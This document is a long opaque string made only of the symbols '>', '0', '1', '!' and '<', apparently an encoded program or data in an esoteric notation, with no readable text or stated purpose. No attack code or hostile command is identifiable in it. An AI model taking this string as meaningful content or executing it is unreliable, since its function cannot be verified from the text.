>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>01>0>1!10110><>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!10110>1!1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01!<>1!1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!1!1!1!1!10110>1!101101010111>01>0>1!1!1!<>10110><><>1>0>1!1!<>1!<>1!1!1!1!1!10110>10110>10110>1!<>1!<>10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!10110>1!1!<>1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>1!1>0>1!1!<>1>0>1!1!1!1!1>0>1>0><>1!1!1!1!1!10110>10110>10110>1!<>1!<>1!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1>0>1!<>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!<>1!10110>1!1!1>0>1>0>1!<>1!1>0>1>0>1!1>0>1!1>0>1>0><>1>0>1!1!10110>1!1>0>1>0><>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>01010111>01>0>10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!<1010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>01!1>0>1!1!1>0><>1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>01>0>1!1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!101101010111>01!<>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1>0>1!1>01010111>01>01010111>01>0>1!1>0>1>0>1!1>01010111>01>0>1!1!1>0>1!10110>1!1>01010111>01>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!10110>10110>10110>1!<>1!<>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!<>1>0>1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!10110>1!1!1!10110>1!1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!<><>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!<>10110>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>01010111>01!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!<>1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!10110>1!1>0>1!1!10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!10110>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0><>1!1>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!<>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1>0>1!10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!10110>10110>1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0><>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!10110>10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>10110>10110>1!1>0>10110><>1!1!1!1>0>10110>1!1!1!1>0><>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!10110><>1!1!1!1!1>0>10110>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1>0>10110>1!1>0>1!101101010111>10111>01>0>1!1!1>01010111>01!1!1!1>0>1>0>1!1!1>0>1!<>1!1!10110>1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0><>1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110><>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0><>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!10110>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>101101010111>01>0>1!10110>1!1!1!1>0>1!10110>1!10110>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0><>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>10110>1!10110>1!10110>10110>1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!10110>1!1>0>1!1>0>1!1>01010111>01!10110>1!1!1!1!10110>10110><>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1!10110>1!10110>1!1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!<>1!<>1!1!<1010111>01!1>0>1!<>1!1>0>1!1!1!1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1!1!<>10110>1!1!1!1!1>0>1!1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1!<>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>010110>1!1>0><>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!<>1>0><>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>01010111>01>0><>1>0><>1>0><>1>0><>1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>10110>1!<>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1!1>0><>1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!101101010111>01>0>1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>01010111>01!1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1!1>0>1!1!1>0>1!<>1!1!1!1!1>0>1!1>0>10110>10110>1!1!10110>1!<>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>101101010111>01!1!1!1!1>0>1!<><>1!1!<><>1>0>1!1!1!1!1!<>1!10110>1!1!1>0>1>0>1!1!1!1!1>0><1010111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0><1010111>01!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!10110>10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110><>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0